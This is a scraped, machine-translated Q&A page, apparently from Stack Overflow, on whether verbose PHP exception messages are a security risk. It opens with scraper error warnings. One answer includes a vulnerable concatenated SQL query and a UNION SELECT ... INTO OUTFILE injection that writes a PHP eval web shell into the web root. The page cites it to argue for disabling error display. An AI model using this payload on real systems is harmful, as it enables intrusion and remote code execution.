Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/258.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 详细的异常/错误消息是否存在安全风险?_Php_Security - Fatal编程技术网

Php 详细的异常/错误消息是否存在安全风险?

Php 详细的异常/错误消息是否存在安全风险?,php,security,Php,Security,我当前使用isset()检查每个GET和POST变量,当isset()返回false时抛出异常 示例1: if(!isset($_GET['some_var'])) throw new Exception('GET variable [some_var] is not set.'); $someVar = $_GET['some_var']; if(!isset($_GET['some_num'])) throw new Exception('GET variable [so

我当前使用
isset()
检查每个GET和POST变量,当
isset()
返回false时抛出异常

示例1:

if(!isset($_GET['some_var']))
    throw new Exception('GET variable [some_var] is not set.');

$someVar = $_GET['some_var'];
if(!isset($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not set.');

if(!ctype_digit($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not a number.');

$someNum = $_GET['some_num'];
示例2:

if(!isset($_GET['some_var']))
    throw new Exception('GET variable [some_var] is not set.');

$someVar = $_GET['some_var'];
if(!isset($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not set.');

if(!ctype_digit($_GET['some_num']))
    throw new Exception('GET variable [some_num] is not a number.');

$someNum = $_GET['some_num'];
在我的生产应用程序中,我有一个全局异常处理程序,它将异常和错误发布到日志文件,然后重定向到通用道歉页面

这样行吗?是否存在上述安全风险之类的描述性异常和错误消息(黑客是否能够读取异常通知,然后使用该信息操纵我的脚本)

谢谢

“黑客是否有可能读取异常通知,然后使用该信息操纵我的脚本?”

也许吧

通常,您希望在错误情况下为最终用户提供尽可能少的信息。在这种情况下,如果您告诉某人某个特定的get变量不存在,那么他们可能会尝试向该变量提供随机值,以查看应用程序的行为

当然,您还必须平衡这一点与实际用户的需求。如果变量是他们通常可以控制的变量,那么给出关于该值的问题的响应是完全可以接受的

更新

最近,我遇到了大量的web API,它们似乎认为抛出通用错误消息是一种方法,我想稍微更新一下

web API必须向消费系统提供适当数量的信息,以便他们能够找出问题所在并加以解决。

在最近的一个支付处理API案例中,他们的文档完全错误。他们显示的测试事务数据始终以“服务器错误500”返回,我们别无选择,只能让他们的一名开发人员打电话,仔细检查XML中的每个元素。在50个元素中,只有一个元素的名称与其“开发者文档”中的名称相同
在另一个集成中,我们得到了“服务器错误402”——这不是一个支付网关。尽管从未在他们的文档中引用过,但显然该消息意味着缺少JSON参数。顺便说一句,这是一个在他们的文档中没有被引用的参数,他们的开发人员再次需要时间来识别它


在上述两种情况下,如果错误消息以有效文档帖子的示例进行响应,则会非常有用。与传递错误参数时旧的Unix/DOS命令返回帮助信息的方式类似。我真的不想和其他程序员说话。我知道他们的时间很昂贵,他们宁愿做些别的事情,也不愿接听支持电话;但更重要的是,如果我在晚上10:00工作,需要一个回复RFN,那么等待程序员第二天可以打电话是一个难得的选择。

向用户显示详细的错误可能会带来安全风险。因为在这种情况下,它们只被写入日志文件,用户得到的唯一数据是一个没有显示任何内容的通用页面,您可以随心所欲地描述,除非日志被破坏,否则您不会透露任何信息。

通常认为在生产服务器上打印PHP系统错误消息而不是静默记录是不安全的。

虽然我在一般道歉页面中找不到任何危险的东西

记录错误和抑制输出正是您应该做的。错误报告可能很糟糕

在2007年的OWASP前10名中,有一个是,但这在2010年被删除。通过在php.ini中设置
dispaly\u errors=On
,您就容易受到攻击。您的web应用程序的完整路径将泄露给攻击者。更糟糕的是,通过启用错误报告,通过查找SQL错误消息可以更容易地找到SQL注入

在PHP/MySQL应用程序上结合使用此选项时,可能会执行非常严重的攻击

$vuln_query="select name from user where id=".$_GET[id];
如果

http://localhost/vuln_query.php?id=1 联合选择“进入输出文件”//path/to/web/root/backdoor.php”
这使得这个完整的查询:

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"
select name from user where id=1 union select“into outfile”/path/to/web/root/backdoor.php

我将确保
display\u errors=Off
,并且该文件
file
权限已被撤销到您的web应用程序的MySQL用户帐户

因为看起来您只是在显示GET参数的内容,这些数据可以通过查看URL获得,所以除了引起注意之外,我不认为这会是一种安全风险。编辑:没有意识到您在错误消息中对不同的数据类型进行了区分-我想这方面的知识可能会被利用到某个程度,但如果您正确地清理输入,我想不出该怎么做。@letseatfood有几个人在上,所以给我-1,因为我是个混蛋:)